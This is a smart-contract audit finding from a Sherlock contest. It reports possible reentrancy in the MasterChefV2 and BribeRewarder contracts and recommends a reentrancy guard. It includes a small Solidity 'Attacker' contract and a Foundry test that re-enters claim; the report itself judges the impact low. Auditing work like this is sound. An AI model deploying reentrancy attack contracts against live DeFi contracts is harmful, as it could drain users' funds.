Elegant Vanilla Crane - Possible reentrancy in `MasterChefV2` and `BribeRewarder`

[sherlock-admin2]

Elegant Vanilla Crane

Low/Info

Possible reentrancy in MasterChefV2 and BribeRewarder

Summary

It is possible to reenter the MasterChefV2 or BribeRewarder contract by using a smart contract.

Vulnerability Detail

The contracts BribeRewarder and MasterChefV2 don't implement a reentrancy guard, so a user may use a function like MasterChefV2::claim() multiple times in one call, assuming the reward token is the chain's native token.

Impact

Using the reentrancy bug to call the claim function multiple times doesn't result in a user receiving more tokens than allowed. However, it is still recommended to use a reentrancy guard in functions that handle transferring the native token.

Code Snippet

https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/rewarders/BribeRewarder.sol#L153 https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/MasterchefV2.sol#L306 https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/MasterchefV2.sol#L316 https://github.com/sherlock-audit/2024-06-magicsea/blob/main/magicsea-staking/src/MasterchefV2.sol#L326

See the following PoC (note that rewardToken needs to be address(0)).

contract Attacker {
    receive() external payable {
        IBribeRewarder rewarder = IBribeRewarder(0xce05913f05E75e9e3922621Ea9Eb4b2aFFE1C562);
        rewarder.claim(1);
        console.log('Attacker: calling claim second time');
    }
}

    function testVuln_ReenterClaim() public {
        Attacker attacker = new Attacker();

        rewarder.fundAndBribe{value: 20e18}(1, 2, 10e18);

        _voterMock.setCurrentPeriod(1);
        _voterMock.setStartAndEndTime(0, 20);

        vm.startPrank(address(_voterMock));
        vm.warp(0);
        rewarder.deposit(1, 1, 0.2e18);
        rewarder.deposit(1, 2, 0.2e18);
        vm.stopPrank();

        // still period = 0, so reward is 0
        vm.warp(5);
        assertEq(0, rewarder.getPendingReward(1));

        // manipulate period and endtime
        _voterMock.setCurrentPeriod(2);
        _voterMock.setLatestFinishedPeriod(1);
        vm.warp(20);

        uint256 rewards = rewarder.getPendingReward(1);

        uint256 attackerBalanceBefore = address(attacker).balance;

        vm.warp(21);
        vm.prank(address(attacker));
        rewarder.claim(1);

        uint256 attackerBalanceAfter = address(attacker).balance;
        uint256 profit = attackerBalanceAfter - attackerBalanceBefore;

        // assertEq(rewards * 2, profit);
    }

Tool used

Manual Review, Foundry

Recommendation

Use the ReentrancyGuard::nonReentrant modifier by OpenZeppelin in functions that are critical to the system, such as claim, withdraw or emergencyWithdraw.

[0xSmartContract]

This issue was submitted as low/info.